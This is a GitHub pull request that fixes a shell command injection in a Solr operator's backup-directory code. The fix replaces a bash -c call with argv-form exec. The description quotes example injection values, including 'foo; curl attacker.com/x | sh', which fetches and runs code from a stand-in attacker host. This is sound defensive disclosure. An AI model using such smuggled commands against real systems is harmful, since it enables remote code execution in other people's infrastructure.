Prevent command injection via SolrBackup.spec.location - #844
Open
apvxlab wants to merge 1 commit into
Open
Conversation
EnsureDirectoryForBackup built a shell command by concatenating the user-controlled backup location into "/bin/bash -c \"mkdir -p \" + path" and exec'ing it in the Solr pod. A SolrBackup.spec.location containing shell metacharacters (e.g. "x; touch /tmp/pwned;") therefore executed arbitrary commands in the pod as the SolrCloud service account. Exec mkdir in argv form (["mkdir","-p",backupPath]) with no shell, so the path is treated as a single literal argument and metacharacters are inert. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Signed-off-by: apvxlab <vijayeis@apvxlab.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
EnsureDirectoryForBackupincontrollers/util/backup_util.gopassesSolrBackup.spec.locationthrough/bin/bash -cwhen creating the backup directory via pod exec. Becausespec.locationis user-controlled CR input, a malicious value likefoo; curl attacker.com/x | shis executed as a shell command inside the Solr pod.Fix: use exec-form argv (
[mkdir, -p, backupPath]) instead of shell-form, sobackupPathis treated as a literal path argument and shell metacharacters are inert.Test plan
EnsureDirectoryForBackup